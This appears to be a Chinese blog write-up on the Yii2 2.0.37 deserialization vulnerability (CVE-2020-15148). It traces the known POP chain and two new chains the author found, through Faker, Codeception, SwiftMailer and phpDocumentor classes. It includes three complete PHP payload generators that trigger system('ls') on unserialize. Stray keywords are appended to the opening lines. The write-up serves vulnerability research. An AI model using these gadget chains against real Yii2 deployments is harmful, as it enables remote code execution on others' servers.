????弟們,又到週末了,是時候給你們整活兒了php
放心,此次不是在線吹牛環節,我們仍是得偶爾換換口味整整硬菜嘛git
話說github
週五咱們小組團建結束,我扶着地鐵回到了我溫暖的小窩web
一進屋,這該死的使人陶醉的氛圍就讓我丟盔卸甲,疲軟不堪,就像是陷入了一位妙齡少女的溫柔鄉通常thinkphp
我順手把小書包兒一扔,鞋兒一脫,打開電腦準備欣賞一下脫口秀大會,給本身補充點快樂微信
又順手打開了荒野亂鬥yii2
一邊在脫口秀的舞臺上補充快樂,一邊在多人競技的戰場上獨領風騷cookie
這滋味,10瓶肥宅快樂水也換不來呀????composer
給你們看看我這職業玩家般絲滑的操做框架
但是正當我玩的起勁的時候,我無心間在微信上看到有師傅發了最新的yii2框架反序列化漏洞payload
我立馬開始焦慮起來????,這幫傢伙真tm不休息嗎
手裏的遊戲忽然就不香了,脫口秀的舞臺也黯淡無光了
纔怪????
焦慮歸焦慮,夜仍是不能熬的呀,猛男歷來都是十一點睡覺的,嚶嚶嚶
「明天起牀搞」,因而我在焦慮中睡去,並給本身定了個六點的⏰
果真,今天7:30我起牀了????,一塊兒牀我就給了本身兩耳光:「廢物,你個區區(贅婿)菜雞,還有臉睡懶覺!」
我起牀匆匆收拾了一下(把昨晚沒看完的脫口秀大會補完),而後就開始着手分析這個反序列化POP鏈了
我們仍是先來分析一下別人的這個利用鏈,而後,再說我挖到的一大堆利用鏈????
挖掘以前仍是要搭建好環境嘛,去github上下載yii2的2.0.37
版本或其餘更低版本
固然,你也能夠選擇使用composer安裝,不過我用composer安裝不了(特別慢)因此我是直接到github上下載的
本身在github上下載的yii2須要修改config/web.php
文件裏cookieValidationKey
的值,隨便什麼值都行
而後切換到你剛剛下載的yii框架根目錄,執行命令php yii serve
,而後你的yii就在8080端口跑起來了:
接下來,我們就要去看利用鏈了,在沒有細節披露的狀況下就去看github的commit記錄:
上圖就是與cve-2020-15148相關的全部更新,能夠看到就只是在yii\db\BatchQueryResult
類裏添加了一個__wakeup
方法,有些朋友可能不太瞭解這個方法
__wakeup
方法在類被反序列化時會自動被調用,而這裏這麼寫,目的就是在當BatchQueryResult類被反序列化時就直接報錯,避免反序列化的發生,也就避免了漏洞
那從上面的信息就能夠知道BatchQueryResult確定是這個反序列化鏈中的一環,並且通常都是第一環,因此我們就直接去看這個類吧
反序列化利用鏈的關鍵函數就是__wakeup
以及__destruct
,因此,咱們直接看__destruct
:
public function __destruct() { // make sure cursor is closed $this->reset(); } public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; }
destruct方法裏調用了reset方法,reset方法裏又調用了close()方法,我一開始覺得是close()方法有問題,而後我全局搜索了一下close方法,發現好像沒有利用點
而後我回去翻了一下我以前挖thinkphp反序列化的文章,複習了一下php反序列化????
才意識到$this->_dataREader->close()
這裏能夠利用魔術方法__call
,因而開始全局搜索__call
,出現了不少結果,可是最好利用的一個是/vendor/fzaninotto/faker/src/Faker/Generator.php
,它的__call
方法是這樣的:
public function __call($method, $attributes) { return $this->format($method, $attributes); }
咱們跟進format:
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); }
format裏調用了call_user_func_array,$formatter
與$arguments
咱們都不可控,
目前$formatter='close'
,$arguments
爲空
可是不要緊
$formatter
傳入了$this->getFormatter
,在這個方法中,$this->formatters
是咱們可控的,這也就意味着getFormatter
方法的返回值是可控的
也就是說call_user_func_array這個函數的第一個參數可控,第二個參數爲空
如今咱們能夠調用yii框架中的任何一個無參的方法了,這還不夠,咱們須要rce
因此,咱們要找一個無參數的方法,在這個方法中咱們能夠實現任意代碼執行或者間接實現任意代碼執行
到目前爲止我還不知道這個利用鏈到底有多長,因此,我一開始採用的笨辦法就是找出框架中全部的無參數方法,而後一個個排查
當我輸入正則:function \w+\(\)
進行????時,直接冒出來幾千個無參的函數,這讓我怎麼玩?
後來才知道大哥們是直接找的調用了call_user_func函數的無參方法,可能這就是大師傅們的經驗吧
構造正則:function \w+\(\) ?\n?\{(.*\n)+call_user_func
出來22個結果,老懷大慰呀:
通過排查,發現rest/CreateAction.php
以及rest/IndexAction.php
都特別????,很好利用
固然,還有其餘的,感興趣的同窗能夠自行查看
就拿IndexAction.php
中的run方法來講,代碼以下:
public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); }
可見$this->checkAccess
以及$this->id
均可控,那,這條利用鏈不就成了嗎:
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
構造個payload:
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new CreateAction(), 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ?>
而後,咱們驗證一下payload是否有效,由於這僅僅是一個反序列化利用鏈,因此還須要一個反序列化的入口點,這個須要咱們本身構造
在controllers目錄下建立一個Controller:
而後我們發送payload:
雖然有報錯,可是我們的命令仍是執行了的,nice????
ok,說完別人的,我該來講說本身挖的一些其它鏈了
從github commit記錄咱們已經知道新版本的BatchQueryResult
類已經沒法反序列化了,那麼咱們就須要找一些其它的類了
找其餘的類的方式也很簡單,全局搜索__destruct
與__wakeup
函數,而後一個個排查
__wakeup
函數都沒啥可利用的,可是有幾個__destruct
函數引發了個人注意
第一個天然是Psr\Http\Message\StreamInterface\FnStream
下的析構函數啦,看看它的代碼:
public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
我當時就心想,這麼簡單的一處反序列化都沒發現嗎,太菜了8,後來才發現FnStream類也修改了__wakeup
函數爲:
public function __wakeup() { throw new \LogicException('FnStream should never be unserialized'); }
很差意思,是我傻逼了
那麼繼續看其它的唄,接下來登場的是Codeception\Extension\RunProcess
,咱們來看下它的__destruct
方法:
public function __destruct() { $this->stopProcess(); } public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; } $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine()); $process->stop(); } $this->processes = []; }
從上述代碼能夠看到$this->processes
可控,那也就意味着$process
可控,而後下面又調用了$process->isRunning
,這不又能夠接上第一條利用鏈的__call
方法開頭的後半段嗎?
而後利用鏈變成:
Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 這裏須要改成isRunning $this->formatters['isRunning'] = [new CreateAction(), 'run']; } } } // poc2 namespace Codeception\Extension{ use Faker\Generator; class RunProcess{ private $processes; public function __construct() { $this->processes = [new Generator()]; } } } namespace{ // 生成poc echo base64_encode(serialize(new Codeception\Extension\RunProcess())); } ?>
而後再來看看類Swift_KeyCache_DiskKeyCache
,看看它的__destruct
:
public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
跟進clearAll方法:
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } .... } }
這裏的$this->keys
以及$nsKey、$itemKey
啥的都是咱們可控的,因此是能夠執行到$this->clearKey
的,跟進去:
public function clearKey($nsKey, $itemKey) { if ($this->hasKey($nsKey, $itemKey)) { $this->freeHandle($nsKey, $itemKey); unlink($this->path.'/'.$nsKey.'/'.$itemKey); } }
這裏的$this->path
也可控,這就方便了,能夠看到這裏是進行了一個字符串拼接操做,那麼意味着能夠利用魔術方法__toString
來觸發後續操做
全局搜索一下__toString
方法,真的很多呀:
這怎麼都能找到一個能利用的吧,我隨便找了一下,就有三個,就隨便拿一個說吧:
上圖是我挖的過程當中作的筆記????
就拿See.php
中的__toString
舉例,代碼以下:
public function __toString() : string { return $this->refers . ($this->description ? ' ' . $this->description->render() : ''); }
能夠看到$this->description
可控,又能夠利用__call
,新鏈出爐:
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
<?php namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'ls'; } } } namespace Faker{ use yii\rest\CreateAction; class Generator{ protected $formatters; public function __construct(){ // 這裏須要改成isRunning $this->formatters['render'] = [new CreateAction(), 'run']; } } } namespace phpDocumentor\Reflection\DocBlock\Tags{ use Faker\Generator; class See{ protected $description; public function __construct() { $this->description = new Generator(); } } } namespace{ use phpDocumentor\Reflection\DocBlock\Tags\See; class Swift_KeyCache_DiskKeyCache{ private $keys = []; private $path; public function __construct() { $this->path = new See; $this->keys = array( "axin"=>array("is"=>"handsome") ); } } // 生成poc echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
固然,若是你想要一條全新的鏈也不是不行,只不過我要吃午????去了,下次見
怕什麼真理無窮,進一寸有進一寸的歡喜